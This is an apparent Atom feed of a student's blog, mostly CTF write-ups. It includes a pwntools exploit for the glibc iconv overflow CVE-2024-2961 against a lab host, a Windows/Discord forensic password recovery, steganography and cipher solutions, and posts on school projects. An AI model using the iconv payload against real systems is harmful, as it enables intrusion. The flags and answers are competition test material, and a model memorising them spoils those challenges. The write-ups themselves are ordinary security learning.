<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" href="/rss/atom-styles.xsl"?>
<feed xmlns="http://www.w3.org/2005/Atom">
  <title>xzhiyouu&#039;s Blog</title>
  <subtitle>xzhiyouu&#039;s personal blog, sharing insights and projects related to web development, programming, and technology.</subtitle>
  <link href="https://www.xzhiyouu.me/atom.xml" rel="self" type="application/atom+xml"/>
  <link href="https://www.xzhiyouu.me" rel="alternate" type="text/html"/>
  <updated>2026-03-22T17:29:05.485Z</updated>
  <language>en</language>
  <id>https://www.xzhiyouu.me</id>
  <author>
    <name>xzhiyouu</name>
    <uri>https://www.xzhiyouu.me</uri>
  </author>
  <generator uri="https://github.com/xzhiyouu62">Astro</generator>
  <rights>Copyright © 2026 xzhiyouu</rights>
  
  <entry>
    <title>TSCCTF 2026 writeup</title>
    <link href="https://www.xzhiyouu.me/posts/tscctf-2026-writeup" rel="alternate" type="text/html"/>
    <id>https://www.xzhiyouu.me/posts/tscctf-2026-writeup</id>
    <updated>2026-03-03T00:00:00.000Z</updated>
    <published>2026-03-03T00:00:00.000Z</published>
    <author>
      <name>xzhiyouu62</name>
    </author>
    <summary type="text"></summary>
    <content type="html"><![CDATA[<img src="https://www.xzhiyouu.me/_astro/cover.C23Fu114_oFLxh.webp" alt="TSCCTF 2026 writeup" style="width: 100%; height: auto; margin-bottom: 1em;" />
<h2>前言</h2>
<p>這是我第一次打 TSCCTF，這應該是辦給大學生打的 CTF，不過有公開組就來體驗一下，最後也是打到第 13 名。雖然有些題目是 AI 打出來的，但是也讓我學到很多！</p>
<img src="https://hackmd.io/_uploads/BJ5WiSNY-e.png" alt="image" />
<img src="https://hackmd.io/_uploads/Skrt6rVKZe.png" alt="image" />
<hr />
<h2>Pwn</h2>
<h3>Magic Word</h3>
<p>程式讀取一行字串後會呼叫</p>
<pre><code>iconv_open("ISO-2022-CN-EXT", "UTF-8");
iconv(cd, &amp;inptr, &amp;inlen, &amp;outptr, &amp;outlen);
</code></pre>
<p>且輸出 buffer 與 magic 放在同一個 packed struct：</p>
<pre><code>struct {
  char output[32];
  uint32_t magic;
} __attribute__((packed)) ctx;
</code></pre>
<p>最後檢查</p>
<pre><code>if (ctx.magic != 0) win();
</code></pre>
<p>所以只要讓 <code>ctx.magic</code> 變成非 0 就能進入 <code>win()</code> 拿到 shell。</p>
<p>經過搜尋後發現這其實是 CVE-2024-2961</p>
<p>漏洞原理參考：<a href="https://hackmd.io/@yjk930805/HJzCZdtLxx" rel="noopener noreferrer" target="_blank">https://hackmd.io/@yjk930805/HJzCZdtLxx</a></p>
<pre><code>from pwn import *

context.binary = ELF("./magic_word")
context.log_level = "info"

io = remote("172.31.3.2", 40002)

payload = b"A" * 31 + "劄".encode("utf-8")

io.recvuntil(b"Magic word: ")
io.sendline(payload)

io.interactive()
</code></pre>
<img src="https://hackmd.io/_uploads/rkpShHEtWg.png" alt="image" />
<blockquote><p>writeup 尚未完成</p></blockquote>]]></content>
    <category term="CTF" />
    <category term="Writeup" />
  </entry>
  <entry>
    <title>PwnSec CTF 2025 Forensics-HiddenData writeup</title>
    <link href="https://www.xzhiyouu.me/posts/pwnsec-ctf-2025-forensics-hiddendata-writeup" rel="alternate" type="text/html"/>
    <id>https://www.xzhiyouu.me/posts/pwnsec-ctf-2025-forensics-hiddendata-writeup</id>
    <updated>2025-11-18T00:00:00.000Z</updated>
    <published>2025-11-18T00:00:00.000Z</published>
    <author>
      <name>xzhiyouu62</name>
    </author>
    <summary type="text"></summary>
    <content type="html"><![CDATA[<img src="https://www.xzhiyouu.me/_astro/cover.C5hLxhH6_snuvB.webp" alt="PwnSec CTF 2025 Forensics-HiddenData writeup" style="width: 100%; height: auto; margin-bottom: 1em;" />
<h4>CTFtime: <a href="https://ctftime.org/event/2906" rel="noopener noreferrer" target="_blank">https://ctftime.org/event/2906</a></h4>
<img src="https://hackmd.io/_uploads/r1bVWa_e-l.png" alt="image" />
<p>下載後會發現是一個Windows的檔案
<img src="https://hackmd.io/_uploads/r1OvGauebe.png" alt="image" /></p>
<p>題目敘述提到了 chatting ，所以可能跟 Discord 有關<br />
上網找了一下有關 Discord chatting Forensics 的資料<br />
找到這篇報告 <a href="https://scispace.com/pdf/discord-server-forensics-analysis-and-extraction-of-digital-ci00a3c2ep.pdf" rel="noopener noreferrer" target="_blank">link</a><br />
可以發現 Discord 的聊天紀錄都會儲存在 <code>\AppData\Roaming\discord\Cache\Cache_Data</code> 這個快取裡面，並且報告中提到可以使用 <a href="https://www.nirsoft.net/utils/chrome_cache_view.html" rel="noopener noreferrer" target="_blank">ChromeCacheView</a> 這個工具檢視 Discord 的快取檔案<br /></p>
<img src="https://hackmd.io/_uploads/BJ-5Naug-g.png" alt="image" />
<p>找到有 <code>/messages?limit=50</code> 的檔案<br />
打開後可以發現這個<br /></p>
<pre><code>  {
    "type": 0,
    "content": "Got it I'll copy it now",
    "mentions": [],
    "mention_roles": [],
    "attachments": [],
    "embeds": [],
    "timestamp": "2025-10-31T10:18:20.453000+00:00",
    "edited_timestamp": null,
    "flags": 0,
    "components": [],
    "id": "1433762006892023870",
    "channel_id": "1429495896353280162",
    "author": {
      "id": "1377987216671772784",
      "username": "username12345_12345",
      "avatar": null,
      "discriminator": "0",
      "public_flags": 0,
      "flags": 0,
      "banner": null,
      "accent_color": null,
      "global_name": null,
      "avatar_decoration_data": null,
      "collectibles": null,
      "display_name_styles": null,
      "banner_color": null,
      "clan": null,
      "primary_guild": null
    },
    "pinned": false,
    "mention_everyone": false,
    "tts": false
  },
  {
    "type": 0,
    "content": "After 5 minutes, the password will be deleted.",
    "mentions": [],
    "mention_roles": [],
    "attachments": [],
    "embeds": [],
    "timestamp": "2025-10-31T10:17:47.513000+00:00",
    "edited_timestamp": null,
    "flags": 0,
    "components": [],
    "id": "1433761868731912332",
    "channel_id": "1429495896353280162",
    "author": {
      "id": "1427528808570814615",
      "username": "zero____day0",
      "avatar": null,
      "discriminator": "0",
      "public_flags": 0,
      "flags": 0,
      "banner": null,
      "accent_color": null,
      "global_name": null,
      "avatar_decoration_data": null,
      "collectibles": null,
      "display_name_styles": null,
      "banner_color": null,
      "clan": null,
      "primary_guild": null
    },
    "pinned": false,
    "mention_everyone": false,
    "tts": false
  },
  {
    "type": 0,
    "content": "Here’s the secret link — https://pastebin.com/AAGyxC3p",
    "mentions": [],
    "mention_roles": [],
    "attachments": [],
    "embeds": [
      {
        "type": "link",
        "url": "https://pastebin.com/AAGyxC3p",
        "title": "Pastebin.com - Locked Paste",
        "description": "Pastebin.com is the number one paste tool since 2002. Pastebin is a website where you can store text online for a set period of time.",
        "provider": {
          "name": "Pastebin"
        },
        "content_scan_version": 0
      }
    ],
    "timestamp": "2025-10-31T10:17:20.211000+00:00",
    "edited_timestamp": null,
    "flags": 0,
    "components": [],
    "id": "1433761754219020439",
    "channel_id": "1429495896353280162",
    "author": {
      "id": "1427528808570814615",
      "username": "zero____day0",
      "avatar": null,
      "discriminator": "0",
      "public_flags": 0,
      "flags": 0,
      "banner": null,
      "accent_color": null,
      "global_name": null,
      "avatar_decoration_data": null,
      "collectibles": null,
      "display_name_styles": null,
      "banner_color": null,
      "clan": null,
      "primary_guild": null
    },
    "pinned": false,
    "mention_everyone": false,
    "tts": false
  },
</code></pre>
<p>發現 <code>https://pastebin.com/AAGyxC3p</code><br />
但進去後要輸入密碼才能打開<br />
從聊天紀錄推測出他複製了密碼<br />
所以必須從 Windows 的紀錄中找到他到底複製了什麼<br />
上網爬了一下資料發現這個文章 <a href="https://www.inversecos.com/2022/05/how-to-perform-clipboard-forensics.html" rel="noopener noreferrer" target="_blank">link</a><br />
使用者的很多行為都會記錄在 <code>\AppData\Local\ConnectedDevicesPlatform\&lt;id&gt;\ActivitiesCache.db</code> 之下<br />
這邊使用 DB Browser for SQLite 去看這個 database<br /></p>
<img src="https://hackmd.io/_uploads/BJMCUTOgZx.png" alt="image" />
<p>解碼 base64 之後發現密碼是 <code>Th1$_1$_r3@l_p@$$w0rd!</code></p>
<p>貼到剛剛對話中出現的連結後就可以拿到 flag 了</p>
<img src="https://hackmd.io/_uploads/H1smDa_ebl.png" alt="image" />
<p>Flag: <code>flag{12d65e001866f854c23a48f0d47957ed}</code></p>]]></content>
    <category term="CTF" />
  </entry>
  <entry>
    <title>V1t CTF 2025 writeup</title>
    <link href="https://www.xzhiyouu.me/posts/v1t-ctf-2025-writeup" rel="alternate" type="text/html"/>
    <id>https://www.xzhiyouu.me/posts/v1t-ctf-2025-writeup</id>
    <updated>2025-11-03T00:00:00.000Z</updated>
    <published>2025-11-03T00:00:00.000Z</published>
    <author>
      <name>xzhiyouu62</name>
    </author>
    <summary type="text"></summary>
    <content type="html"><![CDATA[<img src="https://www.xzhiyouu.me/_astro/cover.VnWpD0uG_1AeT2C.webp" alt="V1t CTF 2025 writeup" style="width: 100%; height: auto; margin-bottom: 1em;" />
<h4>CTFtime: <a href="https://ctftime.org/event/2920" rel="noopener noreferrer" target="_blank">https://ctftime.org/event/2920</a></h4>
<blockquote><p>Author: xzhiyouu</p></blockquote>
<p><strong>Please don’t mind my broken English.</strong></p>
<p>This is the first CTF I played with <a href="https://ctftime.org/team/113364" rel="noopener noreferrer" target="_blank">Flagaholic</a>.<br />
We got TOP 5 in the end.<br />
There were a total of 1237 participating teams.<br />
Thanks to my teammate and I <br />
Final Scoreboard here~<br />
<img src="https://hackmd.io/_uploads/S1hC_lHkZe.png" alt="image" /></p>
<p>I will write writeups for some interesting or guessy challenges.</p>
<hr />
<h3>[Misc] Dont Bother</h3>
<img src="https://hackmd.io/_uploads/rkjB2eHyZl.png" alt="image" />
<p>This challenge was too guessy, so out of more than 1,200 teams, only 16 managed to solve it.</p>
<p>Here’s my solution.</p>
<p>The image is 512×512 and in RGB format. Most pixels share the same base color (64, 77, 205).</p>
<p>Some pixels have been increased by 2 in certain channels (only 0 or +2, never a decrease), so they differ slightly from the base color.</p>
<p>The image is divided into many small square blocks, and only those along the main diagonal contain these “+2 footprints.”</p>
<p>In each diagonal block, if you sum up all the “+2 occurrences” of its pixels, you get an integer.</p>
<p>That sequence of integers represents ASCII codes, which together form the flag.</p>
<p>Solution code~</p>
<pre><code>from PIL import Image
import numpy as np

img = Image.open("chal.jpg").convert("RGB")
arr = np.array(img, dtype=np.uint8)
base = np.array([64, 77, 205], dtype=np.int32)

delta = arr.astype(np.int32) - base
steps = np.clip(delta, 0, None) // 2
steps = steps.sum(axis=2)

n = 32
h, w = steps.shape
bh, bw = h // n, w // n
codes = []
for i in range(n):
    block = steps[i*bh:(i+1)*bh, i*bw:(i+1)*bw]
    codes.append(block.sum())

flag = ''.join(chr(c) for c in codes).rstrip('\x00')
print(flag)
# v1t{c4nt_B3_both3r3d_vnkud1837}
</code></pre>
<p>GUESSY CHALL :&gt;</p>
<hr />
<h3>[Misc] MOOOO</h3>
<img src="https://hackmd.io/_uploads/ryLPnlHybe.png" alt="image" />
<p>This is a cool challenge lol</p>
<p>You can find comment with COW programming language through exiftool.</p>
<p>After running the code, we got <code>thismaybeapasswordbutwhoreallyknowsimjustmessginitisapassword</code></p>
<p>Do steghide to <code>MOOOO.jpeg</code>, and got <code>TRYYY.txt</code>
there are many invisible spaces in the .txt file</p>
<p>Since I played SCIST Final CTF before, someone made a <a href="https://github.com/Morexsyan/stegburp/" rel="noopener noreferrer" target="_blank">tool</a> for solving this problem.</p>
<p>Got the flag <code>v1t{D0wn_Th3_St3gN0_R4bb1t_H0l3}</code></p>
<hr />
<h3>[Forensics] Tryna crack?</h3>
<img src="https://hackmd.io/_uploads/B1XobfBJbg.png" alt="image" />
<p>This challenge also guessy, many people try to brute force the zip file password, but actually you can solve it with the tool “<a href="https://github.com/kimci86/bkcrack/releases" rel="noopener noreferrer" target="_blank">bkcrack</a>”</p>
<p>I got <code>quackquackquack.png</code> after extracting <code>challenge.zip</code>.</p>
<p>After checking with exiftool, I found a comment that says
<code>password for zip file =)))) D4mn_br0_H0n3y_p07_7yp3_5h1d</code></p>
<p>BUT THE FLAG ISN’T <code>v1t{D4mn_br0_H0n3y_p07_7yp3_5h1d}</code></p>
<p>lots of people are stuck here lol</p>
<p>I looked deeper and tried adjusting the image’s width and height, then got this.</p>
<img src="https://hackmd.io/_uploads/ryh34MSyWe.png" alt="image" />
<p>The Morse code below translates to “SHA512.”</p>
<p>So it’s clear that the flag is supposed to be the SHA-512 of <code>D4mn_br0_H0n3y_p07_7yp3_5h1d</code>.</p>
<p>Got flag <code>v1t{7083748baa3a42dc0a93811e4f5150e7ae1a050a0929f8c304f707c8c44fc95d86c476d11c9e56709edc30eba5f2d82396f426d93870b56b1a9573eaac8d0373}</code></p>]]></content>
    <category term="CTF" />
  </entry>
  <entry>
    <title>資訊班成發專題 - 導盲犬機器車</title>
    <link href="https://www.xzhiyouu.me/posts/資訊班成發專題" rel="alternate" type="text/html"/>
    <id>https://www.xzhiyouu.me/posts/資訊班成發專題</id>
    <updated>2025-09-01T00:00:00.000Z</updated>
    <published>2025-09-01T00:00:00.000Z</published>
    <author>
      <name>xzhiyouu62</name>
    </author>
    <summary type="text"></summary>
    <content type="html"><![CDATA[<img src="https://www.xzhiyouu.me/_astro/cover.D-X7YIBg_2jmUwT.webp" alt="資訊班成發專題 - 導盲犬機器車" style="width: 100%; height: auto; margin-bottom: 1em;" />
<h2>專題發想與主題選定</h2>
<p>成發的結束，也代表著資訊班的一個里程碑。我們從很早之前就開始思考專題要做什麼才好，什麼樣的主題可以讓我們顯得與眾不同。當時看到大部分組別都選擇做遊戲，因此我們這組想挑戰一個實體物品，並結合程式設計。最後，我們選擇了導盲犬作為主題，嘗試製作一台導盲犬機器車。</p>
<h2>初期</h2>
<p>一開始我們五個人都非常投入，積極研究專題內容，有人負責尋找合適的硬體設備，有人規劃整體製作流程。雖然最後我們獲得了人氣獎，但整個過程真的非常不容易。</p>
<h2>過程</h2>
<p>我和其中一位組員基本上扛起了大部分的專題製作進度，甚至週末也會自己約出來趕工。我們有時也會在最後一堂課後留下來製作，老師也常常陪著我們一起努力。</p>
<p>我印象最深的是有次 GPS 模組一直收不到訊號，試了很多方法都沒有效果，後來有人提議試著走到戶外，結果一到外面馬上就收到訊號了；還有一次導盲車完全動不了，程式明明寫好了卻灌不進 micro 的板子裡，結果另一位組員走過來隨手按了一下就成功了…</p>
<p>我們這個主題其實難度不小，而我們組員中還有人身兼總召的工作，負責整體活動的統籌工作，事情很多卻仍然盡力兼顧專題進度。我和另一位組員還記得，在大家去國際會議廳排練時，我們仍在後方的台階處趕進度，為了解決小車的轉向和直行問題花了好幾週的時間。</p>
<h2>設計</h2>
<p>原本我們的小車還計畫使用 3D 列印方式重新設計外觀，但因時間有限，最後只好放棄這個想法。希望未來有機會能做出來展示。</p>
<h2>影片剪輯與回憶錄製作</h2>
<p>除了專題之外，我還負責了一件很重要的任務，就是影片剪輯。除了中場後那段影片，最重要的就是回憶錄影片了。</p>
<p>在剪輯回憶錄時，配樂選擇是最困難的部分。我一開始選了 Taylor Swift 的《Long Live》，也有人提議選的是陳勢安的《勢在必行》，原本想都選中文歌，但因為我平常幾乎都聽英文歌，最後只有一首能合唱。後來為了配上更多照片素材，又加入了 Gracie Abrams 的《That’s So True》，我覺得這首歌充滿活力，只是英文歌比較難跟大家一起合唱。</p>
<p>這支回憶錄影片其實是在成發前幾個小時才完成，當天我也一直在休息室處理影片細節，調整拍子與上字幕。影片完成的那一刻，真的成就感滿滿！</p>
<h2>未來期許</h2>
<p>總之，成發順利結束了，留下了許多寶貴的回憶。接下來就是學測的準備，希望自己能為未來努力幾個月，讓高中三年的努力有所收穫，不留遺憾！</p>
<img src="https://hackmd.io/_uploads/B1u_IsbYWl.jpg" alt="_03B3592" />
<img src="https://hackmd.io/_uploads/By82Uj-FZx.jpg" alt="_03B3607" />
<img src="https://hackmd.io/_uploads/Sk2lHiWFbg.jpg" alt="_03B2965" />]]></content>
    <category term="Activity" />
  </entry>
  <entry>
    <title>2025 Taiwan &amp; Korea Open Data Analysis Project</title>
    <link href="https://www.xzhiyouu.me/posts/2025-taiwan--korea-open-data-analysis-project" rel="alternate" type="text/html"/>
    <id>https://www.xzhiyouu.me/posts/2025-taiwan--korea-open-data-analysis-project</id>
    <updated>2025-08-29T00:00:00.000Z</updated>
    <published>2025-08-29T00:00:00.000Z</published>
    <author>
      <name>xzhiyouu62</name>
    </author>
    <summary type="text"></summary>
    <content type="html"><![CDATA[<img src="https://www.xzhiyouu.me/_astro/nhsh308.DF8gcjPn_Z1FWt2z.webp" alt="2025 Taiwan & Korea Open Data Analysis Project" style="width: 100%; height: auto; margin-bottom: 1em;" />
<blockquote><p>Written by Hsieh Chih-Yu</p></blockquote>
<hr />
<h2>Daily Activity Sketch</h2>





















<table><thead><tr><th>Date</th><th>Activity</th></tr></thead><tbody><tr><td>Aug 19</td><td>Meet study partners, ice-breaking, open data introduction</td></tr><tr><td>Aug 20</td><td>Project idea and making</td></tr><tr><td>Aug 21</td><td>Project sharing, visit Google office</td></tr></tbody></table>
<hr />
<h2>Memorable Highlights</h2>
<ul>
<li>Working and learning with Korean partners</li>
<li>Visiting Google’s office in Taipei 101</li>
</ul>
<hr />
<h2>Reflections</h2>
<p>這次很高興有機會可以成為班上前20名的同學代表參加臺韓學生交流公開資料分析專題的活動，從第一天的會面到第三天的Google參訪，真的是收穫滿滿。</p>
<p>首先，第一天抵達了國立師範大學和平校區，在那裡見到了我的兩位韓國學伴，雖然很想趕快與他們交流溝通，但是因為語言的不通，我們最後仍以訊息傳送的方式了解彼此。這次的上課老師是 <a href="https://jppark.smart89.com/about?tl=en" rel="noopener noreferrer" target="_blank">JP老師</a>，剛開始的時候老師為了拉近與學生的距離，特別挑了一支舞蹈邀請我們暖暖身，接著就是重要的公開數據介紹了。老師講解了公開數據的三個特點、如何五步驟完成公開資料專案，並介紹了幾種數據處理的方式。</p>
<p>再來輪到我們發想專題，我們最後決定以「臺灣與韓國的老年人口」為主軸做發想，製作了「<a href="https://cheonwan.vercel.app/" rel="noopener noreferrer" target="_blank">Cheonwan</a>」專題，並且成功在第三天的發表會上展示了我們的成果，也如願參觀了Google的辦公室，從77樓俯瞰下去，景色真的很漂亮！謝謝羅老師給了我機會參加這次活動！</p>
<hr />
<p>I was very happy to be one of the top 20 students in my class to join the Taiwan-Korea Student Exchange: Open Data Analysis Project. From the first day’s meeting to the third day’s Google office visit, I learned a lot.</p>
<p>On the first day, I went to NTNU Hoping Campus and met my two Korean partners. I wanted to talk with them, but because of language problems, we mostly used messages to communicate. The teacher, <a href="https://jppark.smart89.com/about?tl=en" rel="noopener noreferrer" target="_blank">Professor JP</a>, started with a short dance to help us feel relaxed, then gave an introduction to open data. He explained three features of open data, a five-step process to finish a project, and some methods for data processing.</p>
<p>For our project, we chose the topic “Elderly Population in Taiwan and Korea” and created “<a href="https://cheonwan.vercel.app/" rel="noopener noreferrer" target="_blank">Cheonwan</a>.” On the third day, we presented our work successfully and then visited Google’s office. The view from the 77th floor was amazing. I am very thankful to Professor Lo for giving me this chance to join the event.</p>
<hr />
<h2>Event Photos</h2>
<ul>
<li>
<p>JP teaching<br />
<img src="https://hackmd.io/_uploads/SyTOhsAKxl.jpg" alt="IMG_7269" /></p>
</li>
<li>
<p>Group partners<br />
<img src="https://hackmd.io/_uploads/HyR6ajRYeg.jpg" alt="IMG_7315" /></p>
</li>
<li>
<p>Practicing presentation<br />
<img src="https://hackmd.io/_uploads/HJ4yRjCYxx.jpg" alt="IMG_7394" /></p>
</li>
<li>
<p>Professor Lo and JP<br />
<img src="https://hackmd.io/_uploads/HJybCiRYee.jpg" alt="IMG_7523" /></p>
</li>
<li>
<p>Presenting at Google<br />
<img src="https://hackmd.io/_uploads/H1Sf0sAYlg.jpg" alt="IMG_7591" /></p>
</li>
<li>
<p>Group photo<br />
<img src="https://hackmd.io/_uploads/SkYQ0oAFgx.jpg" alt="IMG_7692" /></p>
</li>
</ul>
<hr />
<h2>Project Presentation</h2>
<ul>
<li>View on Website: <a href="https://cheonwan.vercel.app/" rel="noopener noreferrer" target="_blank">Link</a></li>
<li>View on Canva: <a href="https://www.canva.com/design/DAGwfgf1IC0/ImwBholm6aD4ng6PhIcHkg/view?utm_content=DAGwfgf1IC0&amp;utm_campaign=designshare&amp;utm_medium=link2&amp;utm_source=uniquelinks&amp;utlId=h6bbc61d220" rel="noopener noreferrer" target="_blank">Link</a></li>
</ul>
<hr />
<h2>Attachments</h2>
<ul>
<li>Tool I made for analyzing CSV files and making charts
<a href="https://github.com/xzhiyouu62/PythonGraphMaker" rel="noopener noreferrer" target="_blank">(GitHub Link)</a></li>
</ul>]]></content>
    <category term="Activity" />
    <category term="Open Data" />
    <category term="Taiwan" />
    <category term="Korea" />
  </entry>
  <entry>
    <title>Public Data Project Guide</title>
    <link href="https://www.xzhiyouu.me/posts/public-data-project-guide" rel="alternate" type="text/html"/>
    <id>https://www.xzhiyouu.me/posts/public-data-project-guide</id>
    <updated>2025-08-20T00:00:00.000Z</updated>
    <published>2025-08-20T00:00:00.000Z</published>
    <author>
      <name>xzhiyouu62</name>
    </author>
    <summary type="text"></summary>
    <content type="html"><![CDATA[<img src="https://www.xzhiyouu.me/_astro/cover.DPXPK4aF_Z1DLM4q.webp" alt="Public Data Project Guide" style="width: 100%; height: auto; margin-bottom: 1em;" />
<h2>Introduction</h2>
<p>Public data refers to information created and managed by government or public organizations that is freely available to anyone. This valuable resource can be used to improve the world.</p>
<h3>Key Benefits:</h3>
<ul>
<li><strong>Free Usage</strong>: Most public data is free to use.</li>
<li><strong>Freedom of Use</strong>: It can be utilized for educational, research, business, and other purposes.</li>
<li><strong>Creating New Value</strong>: Data processing can lead to innovative services or applications.</li>
</ul>
<h2>5-Step Guide to Completing a Public Data Project</h2>
<h3>1. Define the Problem</h3>
<p>The first step is to define the problem you aim to solve. This could range from small inconveniences to larger societal issues.</p>
<h3>2. Collect Data</h3>
<p>Once the problem is defined, gather the necessary data to address the issue.</p>
<h3>3. Analyze Data</h3>
<p>The next step is to process and analyze the collected data for insights.</p>
<h3>4. Propose Solutions</h3>
<p>Based on the data analysis, suggest potential solutions to the problem.</p>
<h3>5. Publish Results</h3>
<p>Finally, share your findings and solutions with the public.</p>
<h2>Core Technologies</h2>
<ul>
<li><strong>Big Data Analytics</strong>: Tools for handling large volumes of data.</li>
<li><strong>Data Visualization</strong>: Representing data through charts and graphs for better understanding.</li>
<li><strong>Machine Learning</strong>: Using algorithms to improve decision-making and predictions.</li>
</ul>
<h2>Success Tips</h2>
<ol>
<li>Ensure proper data privacy to avoid leaks or misuse.</li>
<li>Use interactive methods to present the data for better engagement and understanding.</li>
</ol>
<h2>Conclusion</h2>
<p>Public data can be a powerful tool for innovation. By following these steps and leveraging the right technologies, one can create impactful solutions.</p>]]></content>
    <category term="Open Data" />
    <category term="Public Data" />
  </entry>
  <entry>
    <title>資安實務素養 「自主學習」 CTF 挑戰賽</title>
    <link href="https://www.xzhiyouu.me/posts/資安實務素養ctf挑戰賽" rel="alternate" type="text/html"/>
    <id>https://www.xzhiyouu.me/posts/資安實務素養ctf挑戰賽</id>
    <updated>2025-05-15T00:00:00.000Z</updated>
    <published>2025-05-15T00:00:00.000Z</published>
    <author>
      <name>xzhiyouu62</name>
    </author>
    <summary type="text"></summary>
    <content type="html"><![CDATA[<img src="https://www.xzhiyouu.me/_astro/cover.DydRB-_o_occU9.webp" alt="資安實務素養 「自主學習」 CTF 挑戰賽" style="width: 100%; height: auto; margin-bottom: 1em;" />
<h2>心得</h2>
<p>因為我的資訊老師是 isip 的中心老師，所以我們有這個機會可以接觸到更多有關資安的知識。我對資安這個領域充滿興趣，平時就會找線上的 CTF 平台練習，偶爾會看看 CTFtime 上有什麼比較簡單的比賽可以讓我試水溫，也因為這樣，我覺得這個 CTF 挑戰賽的題目偏簡單，但也讓我多了學習資安的機會。</p>
<hr />
<img src="https://hackmd.io/_uploads/H1vPwEHSll.png" alt="image" />
<h2>參賽證明</h2>
<img src="https://hackmd.io/_uploads/r1OP_gVEle.jpg" alt="8-團體賽參賽證明" />
<img src="https://hackmd.io/_uploads/B1CFOgNEel.jpg" alt="個人賽證書" />
<hr />
<h2>個人賽</h2>
<h3>ROT 47 [10]</h3>
<pre><code>你知道下列文字如何解密嗎？$F3DE:EFE:@? r:A96C

請把解開的內容變成 Flag 格式，如解開 AABBCCDD，請變成 CTF{AABBCCDD}
Key 格式：CTF{您的答案}
</code></pre>
<p>使用線上解密：<a href="https://www.dcode.fr/rot-47-cipher" rel="noopener noreferrer" target="_blank">https://www.dcode.fr/rot-47-cipher</a></p>
<p>Flag: <code>CTF{Substitution Cipher}</code></p>
<hr />
<h3>Morse Code 解碼 [20]</h3>
<pre><code>描述：編碼與解碼是資訊領域日常都在使用的技術，如 ASCII、Base64、Base32 各有其適用處，請問你對 Base64 編碼與解碼的技術了解嗎？

你知道如何解碼下列資訊嗎？
.- .-.. ..-. .-. . -.. / .-.. . .-- .. ... / ...- .- .. .-.. / .-.-. / -- --- .-. ... .

Key 格式：CTF{您的答案}
</code></pre>
<p>使用線上解密：<a href="https://morsecode.world/international/translator.html" rel="noopener noreferrer" target="_blank">https://morsecode.world/international/translator.html</a></p>
<p>Flag: <code>CTF{ALFRED LEWIS VAIL + MORSE}</code></p>
<hr />
<h3>被關的凱撒 [50]</h3>
<pre><code>凱撒大帝被敵人抓住後，關在一個 5 階的柵欄中。他寫了一個求救文，而您能從中找出關鍵資料來拯救他嗎？
Key 格式：CTF{您的答案}
</code></pre>
<p>題目附加檔案：<code>GDS.zip</code>，解壓後得到 <code>GDS.txt</code>。</p>
<pre><code>xzhiyouu@DESKTOP-9SMADFC:~/isipCTF$ unzip GDS.zip
  inflating: GDS.txt
xzhiyouu@DESKTOP-9SMADFC:~/isipCTF$ cat GDS.txt
AH6sxcffw1cjio1oxrr9uf/dmnwP:jt3axq:8stu
</code></pre>
<p>從題目敘述可推得密文使用 Caesar cipher 與 Rail fence cipher。不過這題的 Rail fence 並非 W 型，而是將明文平均切成 N 等份後依序排列。</p>
<p>找到線上解密工具：<a href="https://www.metools.info/code/fence155.html" rel="noopener noreferrer" target="_blank">https://www.metools.info/code/fence155.html</a></p>
<p>解密結果：<code>Account:Hfjxfw386fir/Password:xtx119mjqu</code></p>
<p>再將兩段字串做 Caesar cipher decode，即可得到最終 flag。</p>
<p>Flag: <code>CTF{Caesar386adm/sos119help}</code></p>
<hr />
<h3>瑪麗皇后的智慧 [50]</h3>
<pre><code>Mary Queen 瑪麗·史都華密碼。
提示：你了解附圖的文字意思嗎？
Key 格式：CTF{您的答案}
</code></pre>
<img src="https://hackmd.io/_uploads/HyZMn14Vel.png" alt="Mary_Queen" />
<p>上網搜尋可找到解密工具：<a href="https://www.dcode.fr/mary-stuart-code" rel="noopener noreferrer" target="_blank">https://www.dcode.fr/mary-stuart-code</a></p>
<p>Flag: <code>CTF{STEGANOGRAPHCRYTOGRAPHY}</code></p>
<hr />
<h3>ROT13 [50]</h3>
<pre><code>ROT13 是一種簡單的凱撒密碼，它將字母表中的每個字母向右移動 13 位。
PGS{TBBQ QNL! E.B.P.}
Key 格式：CTF{您的答案}
</code></pre>
<pre><code>xzhiyouu@DESKTOP-9SMADFC:~/isipCTF$ echo "PGS{TBBQ QNL! E.B.P.}" | rot13
CTF{GOOD DAY! R.O.C.}
</code></pre>
<p>Flag: <code>CTF{GOOD DAY! R.O.C.}</code></p>
<hr />
<h3>文字變亂碼 [50]</h3>
<pre><code>小華向 MIS 人員說明，客戶寄來的信都變成了亂碼。您能幫他還原成正常的文字嗎？
檔案：Email.7z
Key 格式：CTF{您的答案}
</code></pre>
<p>解壓後得到 <code>Email.txt</code>，內容明顯是 base64 編碼：</p>
<pre><code>xzhiyouu@DESKTOP-9SMADFC:~/isipCTF$ cat Email.txt
6Iqx6JOu5LiA5ZCN5LqU...（略）
xzhiyouu@DESKTOP-9SMADFC:~/isipCTF$ echo "6Iqx6JOu..." | base64 -d
...
CTF{**eMAIL**bas64**}
</code></pre>
<p>Flag: <code>CTF{**eMAIL**bas64**}</code></p>
<hr />
<h3>維吉尼爾密碼 [50]</h3>
<pre><code>維吉尼爾密文為？ Vhixoieemksktorywzvhxzijqni
提示：凱撒就是一切，但他把凱撒密法提升到了一個新的層次。
參考：https://www.guballa.de/vigenere-solver
Key 格式：CTF{您的答案}
</code></pre>
<p>Flag: <code>CTF{Theforceisstrongwiththisone}</code></p>
<hr />
<h2>團體賽</h2>
<h3>NIST 資安風險管理 [30]</h3>
<pre><code>描述：請觀察附圖，NIST 提出的網路安全框架 CSF。
提示：NIST 核心，key 為 5 位數，順時針方向、識別 1、保護 3、偵測 3、回應 5、復原 1 的每個類別一共有幾個分項數？
Key 格式：CTF{您的答案}
</code></pre>
<img src="https://hackmd.io/_uploads/SyhuJgV4lx.jpg" alt="NIST" />
<p>Flag: <code>CTF{68521}</code></p>
<hr />
<h3>詩文寄情 [50]</h3>
<pre><code>一首詩文，內有什玄機？
Key 格式：CTF{您的答案}
</code></pre>
<p>給了一個 Word 檔，開啟隱藏字元後可見 flag。</p>
<img src="https://hackmd.io/_uploads/Hyk_glV4el.png" alt="image" />
<p>Flag: <code>CTF{Cipher/Cvy36}</code></p>
<hr />
<h3>Strings it!!! [50]</h3>
<pre><code>描述：使用一些指令來幫助您找到字串中的旗標。
Key 格式：CTF{您的答案}
</code></pre>
<p>題目附加檔案：<code>strings</code></p>
<pre><code>xzhiyouu@DESKTOP-9SMADFC:~/isipCTF$ strings strings | grep CTF
picoCTF{5tRIng5_1T_7f766a23}
</code></pre>
<p>Flag: <code>CTF{5tRIng5_1T_7f766a23}</code></p>
<hr />
